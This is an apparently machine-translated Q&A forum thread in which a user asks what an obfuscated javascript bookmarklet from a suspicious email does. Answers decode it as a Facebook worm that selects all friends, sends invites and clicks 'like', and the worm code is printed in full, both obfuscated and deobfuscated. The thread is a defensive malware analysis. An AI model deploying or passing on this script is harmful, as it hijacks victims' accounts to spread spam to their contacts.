2010-05-24 34 views
7

Ok ai đó là một người bạn tốt của tôi sẽ gửi cho tôi một số email lạ gần đây một trong số đó là liên kết tới trang yêu cầu bạn sao chép và dán vào thanh địa chỉ của bạn trình duyệt sau đó thực hiện nó ...Mã số này làm gì

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function(){fs[_0xc100[8]]();} ,5000);setTimeout(function(){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function(){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})(); 

Không phải là hoàn toàn với nó khi nói đến lập trình ở mức độ thấp tôi tò mò như những gì các email được yêu cầu ở đây ...

VUI LÒNG KHÔNG cHẠY nÀY MÃ KHÔNG GIỚI THIỆU BẠN HAPPY RATNG NÓ S W KHÔNG BAO GIỜ BẤT K AN NÀO.

Nhưng ... Ai đó có thể cho tôi biết nó hoạt động như thế nào?

+0

Chỉ là một biến thể của con sâu này: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –

Trả lời

11

Tôi chưa giải mã hoàn toàn mã, nhưng đây là một vài gợi ý cho nó.

Biến số _0xc100 xác định một chuỗi các chuỗi. Ký tự được mã hóa dưới dạng thập lục phân, do đó khó đọc chúng hơn. Vì vậy, ví dụ, \ x76 bằng "v".

Bạn có thể an toàn alert(_0xc100); để xem văn bản thuần túy.

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
     "\x73\x74\x79\x6C\x65", 
     "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 
     "\x68\x69\x64\x64\x65\x6E", 
     "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", 
     "\x76\x61\x6C\x75\x65", 
     "\x63\x6C\x69\x63\x6B", 
     "\x73\x75\x67\x67\x65\x73\x74", 
     "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", 
     "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", 
     "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", 
     "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67", 
     "\x6C\x69\x6B\x65\x6D\x65"]; 

dịch để một mảng chứa các từ khóa này

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all, 
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme 

Bây giờ, những điều khoản sau đây (KHÔNG thực hiện những) sử dụng các từ khóa để thực sự thực hiện chức năng này.

Ví dụ:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 

tương đương với (d được định nghĩa là documentmw được định nghĩa ở đầu)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden"; 

mà giấu một yếu tố gọi là app125879300771588_mwrapper

sau hướng dẫn cung cấp cho

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value; 

mà các bản sao nội dung của app125879300771588_jop vào app125879300771588_jode

document.getElementById("suggest").click(); 

mà tôi đoán nhấp chuột một số nút "đề nghị".

Cuối cùng, nó đặt 3 chức năng setTimeout, để thực hiện 3 lệnh sau 5 giây (5000)

Họ dịch để

setTimeout(function() { 
    select_all(); 
    }, 5000); 

Mà tôi giả định Chọn tất cả bạn bè của bạn ...

setTimeout(function() 
    { 
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php"); 
    }, 5000); 

... gửi cho họ lời mời

setTimeout(function() 
    { 
    document.getElementById("likeme").click(); 
    document.getElementById("app125879300771588_ifo").innerHTML = 
     document.getElementById("app125879300771588_ifc").value; 
    }, 5000); 

... và nhấn một nút tương tự

Lưu ý rằng tôi không sử dụng Facebook, và tôi không biết thông tin chi tiết nhưng tôi đoán rõ ràng là mã này độc hại.

12
a = 'app125879300771588_jop'; 
b = 'app125879300771588_jode'; 
ifc = 'app125879300771588_ifc'; 
ifo = 'app125879300771588_ifo'; 
mw = 'app125879300771588_mwrapper'; 
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"]; 
d = document; 
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3]; 
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]]; 
d[_0xc100[2]](_0xc100[7])[_0xc100[6]](); 
setTimeout(function() { 
    fs[_0xc100[8]](); 
}, 5000); 
setTimeout(function() { 
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]); 
}, 5000); 
setTimeout(function() { 
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]](); 
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]]; 
}, 5000); 

Điều này rất có thể là khả năng thích ứng của một trong nhiều sâu Facebook tự gửi cho tất cả bạn bè của bạn.

Looke here cho một câu hỏi tương tự.

phiên bản khác của này sử dụng p.a.c.k.e.r để xáo trộn, và những thể dễ dàng được deobfuscated bằng cách chạy mã p.a.c.k.e.r qua http://jsbeautifier.org/

4

Đây là một obfuscatedbookmarklet. Bạn có thể unobfuscate nó (cẩn thận) để xem Javascript thực tế nó sẽ chạy. Nếu bạn không có nhu cầu mạnh mẽ, mặc dù, có lẽ không đáng làm phiền. Tôi sẽ bin nó và kiểm tra với bạn của tôi để xem nó có thực sự đến từ anh ta/cô ấy không, và nếu có, tại sao.

+0

Tôi đã có một người bạn nhìn cái này qua (và chạy nó trên một máy chúng tôi đã không quan tâm đến) Hóa ra nó chỉ đơn giản là một liên kết đến điều này: http://www.hiwiller.com/2010/04/29/if-mario-was-designed-in-2010/ – War

+0

Tôi quen thuộc với sự phẫn nộ ... tôi có thể sử dụng những công cụ nào để làm việc này ... sẽ tạo ra một số trò chơi/thử thách thú vị. – War

+1

* "Tôi có một người bạn ... chạy nó trên máy mà chúng tôi không quan tâm ... Hóa ra đó đơn giản chỉ là một liên kết đến ..." * Thật sao? Bởi vì tham chiếu đến 'SocialGraphManager' trông khá đáng nghi với tôi. Xem: http://davezor.posterous.com/reverse-engineering-the-newest-facebook-invit –